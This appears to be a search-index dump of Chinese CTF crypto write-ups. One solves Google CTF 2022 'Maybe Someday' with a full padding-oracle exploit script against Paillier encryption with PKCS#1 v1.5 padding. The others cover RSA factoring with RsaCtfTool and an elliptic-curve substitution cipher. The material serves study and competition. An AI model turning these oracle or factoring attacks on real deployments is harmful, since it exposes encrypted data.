def L ( x , n ): return ( x - 1 ) // n class Paillier : def __init__ ( self ): p = get_prime ( 1024 ) q = get_prime ( 1024 ) n = p * q \u03bb = ( p - 1 ) * ( q - 1 ) // math . gcd ( p - 1 , q - 1 ) # lcm(p-1, q-1) g = random . randint ( 0 , n - 1 ) \u00b5 = pow ( L ( pow ( g , \u03bb , n ** 2 ), n ), - 1 , n ) self . n = n self . \u03bb = \u03bb self . g = g self . \u00b5 = \u00b5 self . p = p self . q = q # https://www.rfc-editor.org/rfc/rfc3447#section-7.2.1 def pad ( self , m ): padding_size = 2048 // 8 - 3 - len ( m ) if padding_size < 8 : raise Exception ( 'message too long' ) random_padding = b ' \\0 ' * padding_size while b ' \\0 ' in random_padding : random_padding = os . urandom ( padding_size ) return b ' \\x00\\x02 ' + random_padding + b ' \\x00 ' + m def unpad ( self , m ): if m [: 2 ] != b ' \\x00\\x02 ' : raise Exception ( 'decryption error' ) random_padding , m = m [ 2 :] . split ( b ' \\x00 ' , 1 ) if len ( random_padding ) < 8 : raise Exception ( 'decryption error' ) return m def public_key ( self ): return ( self . n , self . g ) def secret_key ( self ): return ( self . \u03bb , self . \u00b5 ) def encrypt ( self , m ): g = self . g n = self . n m = self . pad ( m ) m = int . from_bytes ( m , 'big' ) r = random . randint ( 0 , n - 1 ) c = pow ( g , m , n ** 2 ) * pow ( r , n , n ** 2 ) % n ** 2 return c def decrypt ( self , c ): \u03bb = self . \u03bb \u00b5 = self . \u00b5 n = self . n m = L ( pow ( c , \u03bb , n ** 2 ), n ) * \u00b5 % n m = m . to_bytes ( 2048 // 8 , 'big' ) return self . unpad ( m ) def fast_decrypt ( self , c ): \u03bb = self . \u03bb \u00b5 = self . \u00b5 n = self . n p = self . p q = self . q rp = pow ( c , \u03bb , p ** 2 ) rq = pow ( c , \u03bb , q ** 2 ) r = crt ( rp , rq , p ** 2 , q ** 2 ) m = L ( r , n ) * \u00b5 % n m = m . to_bytes ( 2048 // 8 , 'big' ) return self . unpad ( m ) def challenge ( p ): secret = os . urandom ( 2 ) secret = hashlib . sha512 ( secret ) . hexdigest () . encode () c0 = p . encrypt ( secret ) print ( f ' { c0 = } ' ) # # The secret has 16 bits of entropy. # # Hence 16 oracle calls should be sufficient, isn't it? # for _ in range(16): # c = int(input()) # try: # p.decrypt(c) # print('\ud83d\ude00') # except: # print('\ud83d\ude21') # I decided to make it non-interactive to make this harder. # Good news: I'll give you 25% more oracle calls to compensate, anyways. cs = [ int ( input ()) for _ in range ( 20 )] for c in cs : try : p . fast_decrypt ( c ) print ( '\ud83d\ude00' ) except : print ( '\ud83d\ude21' ) guess = input () . encode () if guess != secret : raise Exception ( 'incorrect guess!' ) def main (): with open ( '/flag.txt' , 'r' ) as f : flag = f . read () p = Paillier () n , g = p . public_key () print ( f ' { n = } ' ) print ( f ' { g = } ' ) try : # Once is happenstance. Twice is coincidence... # Sixteen times is a recovery of the pseudorandom number generator. for _ in range ( 16 ): challenge ( p ) print ( '\ud83d\udca1' ) print ( f '\ud83c\udfc1 { flag } ' ) except : print ( '\ud83d\udc4b' ) if __name__ == '__main__' : main () \u89e3\u9898\u601d\u8def \u00b6 \u9700\u8981\u5728\u9650\u5236\u67e5\u8be2\u6b21\u6570\u4e14\u65e0\u4ea4\u4e92\u7684\u60c5\u51b5\u4e0b\u8fdb\u884c Padding Oracle \u653b\u51fb\uff0c\u9488\u5bf9\u4f7f\u7528 EME-PKCS1-v1_5 \u65b9\u6848 1 \u586b\u5145\u7684 Paillier \u52a0\u5bc6\u7cfb\u7edf \u5c3d\u7ba1\u6bcf\u8f6e\u67e5\u8be2\u673a\u4f1a\u4ec5 \\(20\\) \u6b21\uff0c\u4f46\u76ee\u6807\u660e\u6587\u53ea\u6709 \\(65536\\) \u79cd\u60c5\u51b5\uff0c\u77e5\u9053 \\(4\\) \u4e2a\u5b57\u8282\u4ee5\u4e0a\u5c31\u53ef\u4ee5\u57fa\u672c\u786e\u5b9a\uff0c\u4e0d\u8fc7\u8003\u8651\u5230\u987a\u5e8f\u76f8\u5173\u7684\u4fe1\u606f\u65e0\u6cd5\u83b7\u5f97\uff0c\u67e5\u8be2\u8303\u56f4\u53ef\u4ee5\u7a0d\u7a0d\u6269\u5927\u4e00\u4e9b secret = os . urandom ( 2 ) secret = hashlib . sha512 ( secret ) . hexdigest () . encode () EME-PKCS1-v1_5 \u662f\u4e3a RSA \u8bbe\u8ba1\u7684\u586b\u5145\u65b9\u6848\uff0c\u4e5f\u6709\u73b0\u6210\u7684\u653b\u51fb\u65b9\u6cd5\uff0c\u4f46\u5bf9\u5177\u6709\u52a0\u6cd5\u540c\u6001\u6027\u7684 Paillier \u6765\u8bf4\uff0cPadding Oracle \u653b\u51fb\u7684\u5b9e\u65bd\u5c06\u66f4\u7b80\u5355\u4e00\u4e9b \u5173\u4e8e Paillier \u7684\u52a0\u6cd5\u540c\u6001\u6027\u53ef\u53c2\u8003 Crypto - P(ai)^3 \u88ab\u8ba4\u4e3a\u6b63\u786e\u7684\u586b\u5145\u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6 00 02 PS 00 M \u7b2c\u4e00\u3001\u4e8c\u5b57\u8282\u4e3a \\x00\\x02 \u9664\u7b2c\u4e00\u5b57\u8282\u5916\uff0c\u5b58\u5728\u53e6\u4e00\u4e2a \\x00 \u5b57\u8282\u5212\u5206\u4e0d\u5305\u542b \\x00 \u5b57\u8282\u7684\u4f2a\u968f\u673a\u5b57\u8282\u4e32 PS \u4ee5\u53ca\u6d88\u606f M PS \u7684\u957f\u5ea6\u4e0d\u5c11\u4e8e \\(8\\) \u5b57\u8282 \u56e0\u4e3a\u586b\u5145\u9a8c\u8bc1\u5e76\u6ca1\u6709\u5bf9 PS \u505a\u8fc7\u591a\u7684\u9650\u5236\uff0c\u4e0d\u5305\u542b\u5b57\u8282 \\x00 \u4e14\u957f\u5ea6\u4e0d\u5c11\u4e8e \\(8\\) \u5b57\u8282\u5373\u53ef\u3002\u56e0\u6b64\u53ef\u4ee5\u901a\u8fc7\u52a0\u6cd5\u6d88\u53bb\u5206\u9694\u7b26 \\x00 \u5b57\u8282\uff0c\u800c\u540e\u679a\u4e3e\u6d88\u606f\u7684\u5404\u4e2a\u5b57\u8282\u3002\u5047\u8bbe\u76ee\u6807\u660e\u6587\u586b\u5145\u540e\u4e3a \\(m\\) \uff0c\u4e14 \\(m+m_0\\) \u6070\u597d\u4f7f\u539f\u5206\u9694\u7b26\u5931\u6548\u3002\u8bbe \\(b=2^8,m_1=j\\cdot b^i\\) \uff0c\u82e5 \\(j\\) \u7684\u503c\u4e0e\u76ee\u6807\u660e\u6587\u53f3\u6570\u7b2c \\(i\\) \u5b57\u8282\u7684\u503c\u76f8\u540c\uff0c\u5219 \\(m+m_0-m_1\\) \u5c06\u4ea7\u751f\u65b0\u7684 \\x00 \u5b57\u8282\u4f5c\u4e3a\u5206\u9694\u7b26\uff0c\u4f7f\u5f97\u586b\u5145\u9a8c\u8bc1\u80fd\u591f\u901a\u8fc7 from hashlib import sha512 from Crypto.Util.number import inverse import pwn cnt = 8 hashes = dict () for b in range ( 0x10000 ): h = sha512 ( int . to_bytes ( b , 2 , 'big' )) . hexdigest () hashes [ h [: cnt * 2 ]] = h conn = pwn . remote ( 'maybe-someday.2022.ctfcompetition.com' , 1337 ) n = int ( conn . recvline_contains ( 'n = ' ) . decode () . split ( ' ' )[ - 1 ]) g = int ( conn . recvline_contains ( 'g = ' ) . decode () . split ( ' ' )[ - 1 ]) rm_delim = pow ( g , 0xff << 1024 , n ** 2 ) for _ in range ( 16 ): c0 = int ( conn . recvline_contains ( 'c0 = ' ) . decode () . split ( ' ' )[ - 1 ]) c1 = c0 * rm_delim % ( n ** 2 ) for i in range ( 20 ): if i in range ( 16 ): # \u95f4\u9694\u679a\u4e3e\uff0c\u907f\u514d\u501f\u4f4d\u7684\u5f71\u54cd msg = c1 * inverse ( pow ( g , int ( f \" { ord ( f ' { i : x } ' ) : 04x } \" * cnt , 16 ) << ( 1024 - cnt * 8 * 2 + 8 ), n ** 2 ), n ** 2 ) % n ** 2 else : msg = c1 * inverse ( pow ( g , int ( f \" { ord ( f ' { ( i - 16 ) : x } ' ) : 04x } \" * cnt , 16 ) << ( 1024 - cnt * 8 * 2 ), n ** 2 ), n ** 2 ) % n ** 2 conn . sendline ( str ( msg )) res = [ 0 ] * 20 for i in range ( 20 ): ret = conn . recvline () . decode () if '\ud83d\ude00' in ret : res [ i ] = 1 ans = [] for k , v in hashes . items (): ans . append ( v ) h1 , h2 = k [:: 2 ], k [ 1 :: 2 ] for i in range ( 20 ): if i in range ( 16 ): if res [ i ] and f ' { i : x } ' not in h1 : ans = ans [: - 1 ] break elif not res [ i ] and f ' { i : x } ' in h1 : ans = ans [: - 1 ] break else : if res [ i ] and f ' { ( i - 16 ) : x } ' not in h2 : ans = ans [: - 1 ] break elif not res [ i ] and f ' { ( i - 16 ) : x } ' in h2 : ans = ans [: - 1 ] break conn . sendline ( str ( ans [ 0 ])) ret = conn . recvline () . decode () if '\ud83d\udca1' not in ret : print ( ':(' ) break conn . interactive () Flag \u00b6 CTF{p4dd1n9_or4cl3_w1th_h0mom0rph1c_pr0p3r7y_c0m6in3d_in7o_a_w31rd_m47h_puzz1e} RFC 3447: Public-Key Cryptography Standards (PKCS) #1: RSA Cryptography Specifications Version 2.1 \u21a9","title":"Maybe Someday"},{"location":"crypto/maybe_someday/#_1","text":"Leave me your ciphertexts. I will talk to you later. maybe-someday.2022.ctfcompetition.com 1337 chall.py #!/usr/bin/python3 from Crypto.Util.number import getPrime as get_prime import math import random import os import hashlib # Suppose gcd(p, q) = 1. Find x such that # 1. 0 <= x < p * q, and # 2. x = a (mod p), and # 3. x = b (mod q). def crt ( a , b , p , q ): return ( a * pow ( q , - 1 , p ) * q + b * pow ( p , - 1 , q ) * p ) % ( p * q ) def L ( x , n ): return ( x - 1 ) // n class Paillier : def __init__ ( self ): p = get_prime ( 1024 ) q = get_prime ( 1024 ) n = p * q \u03bb = ( p - 1 ) * ( q - 1 ) // math . gcd ( p - 1 , q - 1 ) # lcm(p-1, q-1) g = random . randint ( 0 , n - 1 ) \u00b5 = pow ( L ( pow ( g , \u03bb , n ** 2 ), n ), - 1 , n ) self . n = n self . \u03bb = \u03bb self . g = g self . \u00b5 = \u00b5 self . p = p self . q = q # https://www.rfc-editor.org/rfc/rfc3447#section-7.2.1 def pad ( self , m ): padding_size = 2048 // 8 - 3 - len ( m ) if padding_size < 8 : raise Exception ( 'message too long' ) random_padding = b ' \\0 ' * padding_size while b ' \\0 ' in random_padding : random_padding = os . urandom ( padding_size ) return b ' \\x00\\x02 ' + random_padding + b ' \\x00 ' + m def unpad ( self , m ): if m [: 2 ] != b ' \\x00\\x02 ' : raise Exception ( 'decryption error' ) random_padding , m = m [ 2 :] . split ( b ' \\x00 ' , 1 ) if len ( random_padding ) < 8 : raise Exception ( 'decryption error' ) return m def public_key ( self ): return ( self . n , self . g ) def secret_key ( self ): return ( self . \u03bb , self . \u00b5 ) def encrypt ( self , m ): g = self . g n = self . n m = self . pad ( m ) m = int . from_bytes ( m , 'big' ) r = random . randint ( 0 , n - 1 ) c = pow ( g , m , n ** 2 ) * pow ( r , n , n ** 2 ) % n ** 2 return c def decrypt ( self , c ): \u03bb = self . \u03bb \u00b5 = self . \u00b5 n = self . n m = L ( pow ( c , \u03bb , n ** 2 ), n ) * \u00b5 % n m = m . to_bytes ( 2048 // 8 , 'big' ) return self . unpad ( m ) def fast_decrypt ( self , c ): \u03bb = self . \u03bb \u00b5 = self . \u00b5 n = self . n p = self . p q = self . q rp = pow ( c , \u03bb , p ** 2 ) rq = pow ( c , \u03bb , q ** 2 ) r = crt ( rp , rq , p ** 2 , q ** 2 ) m = L ( r , n ) * \u00b5 % n m = m . to_bytes ( 2048 // 8 , 'big' ) return self . unpad ( m ) def challenge ( p ): secret = os . urandom ( 2 ) secret = hashlib . sha512 ( secret ) . hexdigest () . encode () c0 = p . encrypt ( secret ) print ( f ' { c0 = } ' ) # # The secret has 16 bits of entropy. # # Hence 16 oracle calls should be sufficient, isn't it? # for _ in range(16): # c = int(input()) # try: # p.decrypt(c) # print('\ud83d\ude00') # except: # print('\ud83d\ude21') # I decided to make it non-interactive to make this harder. # Good news: I'll give you 25% more oracle calls to compensate, anyways. cs = [ int ( input ()) for _ in range ( 20 )] for c in cs : try : p . fast_decrypt ( c ) print ( '\ud83d\ude00' ) except : print ( '\ud83d\ude21' ) guess = input () . encode () if guess != secret : raise Exception ( 'incorrect guess!' ) def main (): with open ( '/flag.txt' , 'r' ) as f : flag = f . read () p = Paillier () n , g = p . public_key () print ( f ' { n = } ' ) print ( f ' { g = } ' ) try : # Once is happenstance. Twice is coincidence... # Sixteen times is a recovery of the pseudorandom number generator. for _ in range ( 16 ): challenge ( p ) print ( '\ud83d\udca1' ) print ( f '\ud83c\udfc1 { flag } ' ) except : print ( '\ud83d\udc4b' ) if __name__ == '__main__' : main ()","title":"\u9898\u76ee"},{"location":"crypto/maybe_someday/#_2","text":"\u9700\u8981\u5728\u9650\u5236\u67e5\u8be2\u6b21\u6570\u4e14\u65e0\u4ea4\u4e92\u7684\u60c5\u51b5\u4e0b\u8fdb\u884c Padding Oracle \u653b\u51fb\uff0c\u9488\u5bf9\u4f7f\u7528 EME-PKCS1-v1_5 \u65b9\u6848 1 \u586b\u5145\u7684 Paillier \u52a0\u5bc6\u7cfb\u7edf \u5c3d\u7ba1\u6bcf\u8f6e\u67e5\u8be2\u673a\u4f1a\u4ec5 \\(20\\) \u6b21\uff0c\u4f46\u76ee\u6807\u660e\u6587\u53ea\u6709 \\(65536\\) \u79cd\u60c5\u51b5\uff0c\u77e5\u9053 \\(4\\) \u4e2a\u5b57\u8282\u4ee5\u4e0a\u5c31\u53ef\u4ee5\u57fa\u672c\u786e\u5b9a\uff0c\u4e0d\u8fc7\u8003\u8651\u5230\u987a\u5e8f\u76f8\u5173\u7684\u4fe1\u606f\u65e0\u6cd5\u83b7\u5f97\uff0c\u67e5\u8be2\u8303\u56f4\u53ef\u4ee5\u7a0d\u7a0d\u6269\u5927\u4e00\u4e9b secret = os . urandom ( 2 ) secret = hashlib . sha512 ( secret ) . hexdigest () . encode () EME-PKCS1-v1_5 \u662f\u4e3a RSA \u8bbe\u8ba1\u7684\u586b\u5145\u65b9\u6848\uff0c\u4e5f\u6709\u73b0\u6210\u7684\u653b\u51fb\u65b9\u6cd5\uff0c\u4f46\u5bf9\u5177\u6709\u52a0\u6cd5\u540c\u6001\u6027\u7684 Paillier \u6765\u8bf4\uff0cPadding Oracle \u653b\u51fb\u7684\u5b9e\u65bd\u5c06\u66f4\u7b80\u5355\u4e00\u4e9b \u5173\u4e8e Paillier \u7684\u52a0\u6cd5\u540c\u6001\u6027\u53ef\u53c2\u8003 Crypto - P(ai)^3 \u88ab\u8ba4\u4e3a\u6b63\u786e\u7684\u586b\u5145\u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6 00 02 PS 00 M \u7b2c\u4e00\u3001\u4e8c\u5b57\u8282\u4e3a \\x00\\x02 \u9664\u7b2c\u4e00\u5b57\u8282\u5916\uff0c\u5b58\u5728\u53e6\u4e00\u4e2a \\x00 \u5b57\u8282\u5212\u5206\u4e0d\u5305\u542b \\x00 \u5b57\u8282\u7684\u4f2a\u968f\u673a\u5b57\u8282\u4e32 PS \u4ee5\u53ca\u6d88\u606f M PS \u7684\u957f\u5ea6\u4e0d\u5c11\u4e8e \\(8\\) \u5b57\u8282 \u56e0\u4e3a\u586b\u5145\u9a8c\u8bc1\u5e76\u6ca1\u6709\u5bf9 PS \u505a\u8fc7\u591a\u7684\u9650\u5236\uff0c\u4e0d\u5305\u542b\u5b57\u8282 \\x00 \u4e14\u957f\u5ea6\u4e0d\u5c11\u4e8e \\(8\\) \u5b57\u8282\u5373\u53ef\u3002\u56e0\u6b64\u53ef\u4ee5\u901a\u8fc7\u52a0\u6cd5\u6d88\u53bb\u5206\u9694\u7b26 \\x00 \u5b57\u8282\uff0c\u800c\u540e\u679a\u4e3e\u6d88\u606f\u7684\u5404\u4e2a\u5b57\u8282\u3002\u5047\u8bbe\u76ee\u6807\u660e\u6587\u586b\u5145\u540e\u4e3a \\(m\\) \uff0c\u4e14 \\(m+m_0\\) \u6070\u597d\u4f7f\u539f\u5206\u9694\u7b26\u5931\u6548\u3002\u8bbe \\(b=2^8,m_1=j\\cdot b^i\\) \uff0c\u82e5 \\(j\\) \u7684\u503c\u4e0e\u76ee\u6807\u660e\u6587\u53f3\u6570\u7b2c \\(i\\) \u5b57\u8282\u7684\u503c\u76f8\u540c\uff0c\u5219 \\(m+m_0-m_1\\) \u5c06\u4ea7\u751f\u65b0\u7684 \\x00 \u5b57\u8282\u4f5c\u4e3a\u5206\u9694\u7b26\uff0c\u4f7f\u5f97\u586b\u5145\u9a8c\u8bc1\u80fd\u591f\u901a\u8fc7 from hashlib import sha512 from Crypto.Util.number import inverse import pwn cnt = 8 hashes = dict () for b in range ( 0x10000 ): h = sha512 ( int . to_bytes ( b , 2 , 'big' )) . hexdigest () hashes [ h [: cnt * 2 ]] = h conn = pwn . remote ( 'maybe-someday.2022.ctfcompetition.com' , 1337 ) n = int ( conn . recvline_contains ( 'n = ' ) . decode () . split ( ' ' )[ - 1 ]) g = int ( conn . recvline_contains ( 'g = ' ) . decode () . split ( ' ' )[ - 1 ]) rm_delim = pow ( g , 0xff << 1024 , n ** 2 ) for _ in range ( 16 ): c0 = int ( conn . recvline_contains ( 'c0 = ' ) . decode () . split ( ' ' )[ - 1 ]) c1 = c0 * rm_delim % ( n ** 2 ) for i in range ( 20 ): if i in range ( 16 ): # \u95f4\u9694\u679a\u4e3e\uff0c\u907f\u514d\u501f\u4f4d\u7684\u5f71\u54cd msg = c1 * inverse ( pow ( g , int ( f \" { ord ( f ' { i : x } ' ) : 04x } \" * cnt , 16 ) << ( 1024 - cnt * 8 * 2 + 8 ), n ** 2 ), n ** 2 ) % n ** 2 else : msg = c1 * inverse ( pow ( g , int ( f \" { ord ( f ' { ( i - 16 ) : x } ' ) : 04x } \" * cnt , 16 ) << ( 1024 - cnt * 8 * 2 ), n ** 2 ), n ** 2 ) % n ** 2 conn . sendline ( str ( msg )) res = [ 0 ] * 20 for i in range ( 20 ): ret = conn . recvline () . decode () if '\ud83d\ude00' in ret : res [ i ] = 1 ans = [] for k , v in hashes . items (): ans . append ( v ) h1 , h2 = k [:: 2 ], k [ 1 :: 2 ] for i in range ( 20 ): if i in range ( 16 ): if res [ i ] and f ' { i : x } ' not in h1 : ans = ans [: - 1 ] break elif not res [ i ] and f ' { i : x } ' in h1 : ans = ans [: - 1 ] break else : if res [ i ] and f ' { ( i - 16 ) : x } ' not in h2 : ans = ans [: - 1 ] break elif not res [ i ] and f ' { ( i - 16 ) : x } ' in h2 : ans = ans [: - 1 ] break conn . sendline ( str ( ans [ 0 ])) ret = conn . recvline () . decode () if '\ud83d\udca1' not in ret : print ( ':(' ) break conn . interactive ()","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/maybe_someday/#flag","text":"CTF{p4dd1n9_or4cl3_w1th_h0mom0rph1c_pr0p3r7y_c0m6in3d_in7o_a_w31rd_m47h_puzz1e} RFC 3447: Public-Key Cryptography Standards (PKCS) #1: RSA Cryptography Specifications Version 2.1 \u21a9","title":"Flag"},{"location":"crypto/normal_rsa/","text":"\u89e3\u9898\u601d\u8def \u00b6 \u9644\u4ef6\u4e3a\u4e00\u4e2a\u516c\u94a5\u6587\u4ef6 pubkey.pem \u548c\u4e00\u4e2a\u7ecf\u8fc7\u52a0\u5bc6\u7684\u6587\u4ef6 flag.enc \u76f4\u63a5\u4f7f\u7528\u5de5\u5177 Ganapati/RsaCtfTool \u89e3\u5bc6 # factordb \u5728\u7ebf\u5206\u89e3 N $ ./RsaCtfTool.py --publickey pubkey.pem --uncipherfile flag.enc --attack factordb private argument is not set, the private key will not be displayed, even if recovered. [ * ] Testing key pubkey.pem. [ * ] Performing factordb attack on pubkey.pem. Results for pubkey.pem: Unciphered data : HEX : 0x0002c0fe04e3260e5b8700504354467b323536625f69355f6d336469756d7d0a INT ( big endian ) : 4865677769286717240419296208145914517832094464845949055035370987525602570 INT ( little endian ) : 4744739824694533032519230312074638919149793854447671791679980959756701401600 STR : b '\\x00\\x02\\xc0\\xfe\\x04\\xe3&\\x0e[\\x87\\x00PCTF{256b_i5_m3dium}\\n' Flag \u4e3a PCTF{256b_i5_m3dium}","title":"Normal_RSA"},{"location":"crypto/normal_rsa/#_1","text":"\u9644\u4ef6\u4e3a\u4e00\u4e2a\u516c\u94a5\u6587\u4ef6 pubkey.pem \u548c\u4e00\u4e2a\u7ecf\u8fc7\u52a0\u5bc6\u7684\u6587\u4ef6 flag.enc \u76f4\u63a5\u4f7f\u7528\u5de5\u5177 Ganapati/RsaCtfTool \u89e3\u5bc6 # factordb \u5728\u7ebf\u5206\u89e3 N $ ./RsaCtfTool.py --publickey pubkey.pem --uncipherfile flag.enc --attack factordb private argument is not set, the private key will not be displayed, even if recovered. [ * ] Testing key pubkey.pem. [ * ] Performing factordb attack on pubkey.pem. Results for pubkey.pem: Unciphered data : HEX : 0x0002c0fe04e3260e5b8700504354467b323536625f69355f6d336469756d7d0a INT ( big endian ) : 4865677769286717240419296208145914517832094464845949055035370987525602570 INT ( little endian ) : 4744739824694533032519230312074638919149793854447671791679980959756701401600 STR : b '\\x00\\x02\\xc0\\xfe\\x04\\xe3&\\x0e[\\x87\\x00PCTF{256b_i5_m3dium}\\n' Flag \u4e3a PCTF{256b_i5_m3dium}","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/noteasy03/","text":"\u9898\u76ee \u00b6 \u0426\u0435\u0437\u0430\u0440\u044c \u0441\u043a\u0440\u0438\u0432\u0438\u043b\u0441\u044f, \u0417\u0430\u043c\u043a\u043d\u0443\u043b\u0441\u044f \u0432 \u0441\u0435\u0431\u0435. \u041f\u0440\u0435\u0443\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u0435. Caesar curved, closed in on himself. Multiplication. rzua]o^]tahf]ie]kiho^z]niru]ha^ogn]doak]i[]g[uff]iop^atpe[paz[[tapzetd \u89e3\u9898\u601d\u8def English ver. \u00b6 \u6839\u636e\u9898\u76ee curved / closed in on himself \u548c\u56fe\u7247\uff0c\u63a8\u6d4b\u5e94\u8be5\u662f\u67d0\u79cd\u66f2\u7ebf\uff0c\u4e14\u6240\u6709\u70b9\u5728\u66f2\u7ebf\u4e0a\u90fd\u80fd\u627e\u5230\u5bf9\u5e94\u70b9 \u5206\u6790\u5bc6\u6587\uff0c\u7ed3\u5408 flag \u7684\u683c\u5f0f\uff0c\u5f97\u5230\u4ee5\u4e0b\u6620\u5c04\u5173\u7cfb\u3002\u518d\u7ed3\u5408 Caesar \u63a8\u6d4b\u662f\u5355\u8868\u4ee3\u6362 r -> u z -> g u -> r a -> a ] -> _ \u6392\u9664\u5e38\u89c1\u7684\u5355\u8868\u4ee3\u6362\u5bc6\u7801\uff08\u90fd\u662f\u7ebf\u6027\u7684\uff09\uff0c\u6700\u540e\u60f3\u5230\u4e86\u692d\u5706\u66f2\u7ebf \u5c3d\u7ba1\u70b9\u5206\u5e03\u7684\u5f62\u72b6\u4f3c\u4e4e\u548c\u5b9e\u6570\u57df\u7684\u692d\u5706\u66f2\u7ebf\u4e0d\u642d\u8fb9\uff0c\u4f46\u82e5\u8003\u8651\u662f\u5728\u6709\u9650\u57df\uff0c\u5219\u56fe\u4e2d\u70b9\u96c6\u5b8c\u5168\u7b26\u5408\u6709\u9650\u57df\u4e2d\u692d\u5706\u66f2\u7ebf\u7684\u7279\u6027 \u540c\u65f6\uff0c\u692d\u5706\u66f2\u7ebf\u4e0a\u70b9\u7684\u9006\u5143\u53ef\u4ee5\u7b26\u5408\u52a0\u89e3\u5bc6\u7684\u6620\u5c04\u9700\u6c42 \u6839\u636e\u5404\u70b9\u5750\u6807\u5927\u5c0f\u53ef\u63a8\u51fa\u6709\u9650\u57df\u5927\u5c0f\u4e3a \\(31\\) \u901a\u8fc7 \u5728\u7ebf\u692d\u5706\u66f2\u7ebf\u53ef\u89c6\u5316\u5de5\u5177 \u5bfb\u627e\u692d\u5706\u66f2\u7ebf\u7cfb\u6570\u7684\u5927\u81f4\u8303\u56f4 \u5173\u952e\u7279\u5f81\uff1a\u4e09\u4e2a\u70b9\u4f4d\u4e8e \\(x\\) \u8f74\uff0c\u4e00\u4e2a\u70b9\u4f4d\u4e8e \\((0, 0)\\) \u518d\u7ed3\u5408\u6709\u9650\u57df\u548c\u5df2\u77e5\u70b9\u7684\u5750\u6807\u786e\u5b9a\u692d\u5706\u66f2\u7ebf\u7cfb\u6570 \\(a=-5,b=0\\) from Crypto.Util.number import * ps = [( 0 , 0 ), ( 5 , 10 ), ( 5 , 21 ), ( 6 , 0 ), ( 8 , 10 ), ( 8 , 21 ), ( 9 , 8 ), ( 9 , 23 ), ( 10 , 12 ), ( 10 , 19 ), ( 11 , 6 ), ( 11 , 25 ), ( 12 , 5 ), ( 12 , 26 ), ( 14 , 15 ), ( 14 , 16 ), ( 15 , 13 ), ( 15 , 18 ), ( 18 , 10 ), ( 18 , 21 ), ( 24 , 8 ), ( 24 , 23 ), ( 25 , 0 ), ( 27 , 7 ), ( 27 , 24 ), ( 28 , 9 ), ( 28 , 22 ), ( 29 , 8 ), ( 29 , 23 ), ( 30 , 2 ), ( 30 , 29 )] for a in range ( - 5 , 0 ): for b in range ( - 4 , 5 ): if 4 * a ** 3 + 27 * b ** 2 : E = EllipticCurve ( Zmod ( 31 ), [ a , b ]) else : continue f = 1 for p in ps : try : E ( p [ 0 ], p [ 1 ]) except : f = 0 break if f : print ( a , b ) \u6839\u636e Caesar \u548c Multiplication \u63a8\u6d4b\u70b9\u7684\u6620\u5c04\u4e3a\u692d\u5706\u66f2\u7ebf\u4e2d\u7684\u70b9\u4e58\uff0c\u7cfb\u6570\u4e3a \\(3\\) \uff0c\u7136\u800c\u89e3\u5bc6\u7684\u7ed3\u679c\u662f\u4e00\u5806\u4e71\u7801 :( \u6700\u65e9\u7684\u51ef\u6492\u5bc6\u7801\u4e3a\u79fb \\(3\\) \u4f4d\uff0c\u540e\u6765\u6269\u5c55\u4e3a\u79fb\u4f4d\u5bc6\u7801\u3002\u4e8e\u662f\u5c1d\u8bd5\u6539\u53d8\u7cfb\u6570\uff0c\u5f53\u7cfb\u6570\u4e3a \\(11\\) \u65f6\u6210\u529f\u83b7\u5f97 Flag XD from Crypto.Util.number import * cipher = 'rzua]o^]tahf]ie]kiho^z]niru]ha^ogn]doak]i[]g[uff]iop^atpe[paz[[tapzetd' E = EllipticCurve ( Zmod ( 31 ), [ - 5 , 0 ]) d = { E ( 0 , 0 ): 'a' , E ( 5 , 10 ): 'b' , E ( 5 , 21 ): 'c' , E ( 6 , 0 ): 'd' , E ( 8 , 10 ): 'e' , E ( 8 , 21 ): 'f' , E ( 9 , 8 ): 'g' , E ( 9 , 23 ): 'h' , E ( 10 , 12 ): 'i' , E ( 10 , 19 ): 'j' , E ( 11 , 6 ): 'k' , E ( 11 , 25 ): 'l' , E ( 12 , 5 ): 'm' , E ( 12 , 26 ): 'n' , E ( 14 , 15 ): 'o' , E ( 14 , 16 ): 'p' , E ( 15 , 13 ): 'q' , E ( 15 , 18 ): 'r' , E ( 18 , 10 ): 's' , E ( 18 , 21 ): 't' , E ( 24 , 8 ): 'u' , E ( 24 , 23 ): 'v' , E ( 25 , 0 ): 'w' , E ( 27 , 7 ): 'x' , E ( 27 , 24 ): 'y' , E ( 28 , 9 ): 'z' , E ( 28 , 22 ): '[' , E ( 29 , 8 ): ' \\\\ ' , E ( 29 , 23 ): ']' , E ( 30 , 2 ): '^' , E ( 30 , 29 ): '_' } res = dict () for k , v in d . items (): res [ v ] = d [ 11 * k ] for c in cipher : print ( res [ c ], end = '' ) Flag \u00b6 ugra_in_case_of_losing_your_sanity_dial_oh_three_oijnacjfhjaghhcajgfcd","title":"noteasy03"},{"location":"crypto/noteasy03/#_1","text":"\u0426\u0435\u0437\u0430\u0440\u044c \u0441\u043a\u0440\u0438\u0432\u0438\u043b\u0441\u044f, \u0417\u0430\u043c\u043a\u043d\u0443\u043b\u0441\u044f \u0432 \u0441\u0435\u0431\u0435. \u041f\u0440\u0435\u0443\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u0435. Caesar curved, closed in on himself. Multiplication. rzua]o^]tahf]ie]kiho^z]niru]ha^ogn]doak]i[]g[uff]iop^atpe[paz[[tapzetd","title":"\u9898\u76ee"},{"location":"crypto/noteasy03/#english-ver","text":"\u6839\u636e\u9898\u76ee curved / closed in on himself \u548c\u56fe\u7247\uff0c\u63a8\u6d4b\u5e94\u8be5\u662f\u67d0\u79cd\u66f2\u7ebf\uff0c\u4e14\u6240\u6709\u70b9\u5728\u66f2\u7ebf\u4e0a\u90fd\u80fd\u627e\u5230\u5bf9\u5e94\u70b9 \u5206\u6790\u5bc6\u6587\uff0c\u7ed3\u5408 flag \u7684\u683c\u5f0f\uff0c\u5f97\u5230\u4ee5\u4e0b\u6620\u5c04\u5173\u7cfb\u3002\u518d\u7ed3\u5408 Caesar \u63a8\u6d4b\u662f\u5355\u8868\u4ee3\u6362 r -> u z -> g u -> r a -> a ] -> _ \u6392\u9664\u5e38\u89c1\u7684\u5355\u8868\u4ee3\u6362\u5bc6\u7801\uff08\u90fd\u662f\u7ebf\u6027\u7684\uff09\uff0c\u6700\u540e\u60f3\u5230\u4e86\u692d\u5706\u66f2\u7ebf 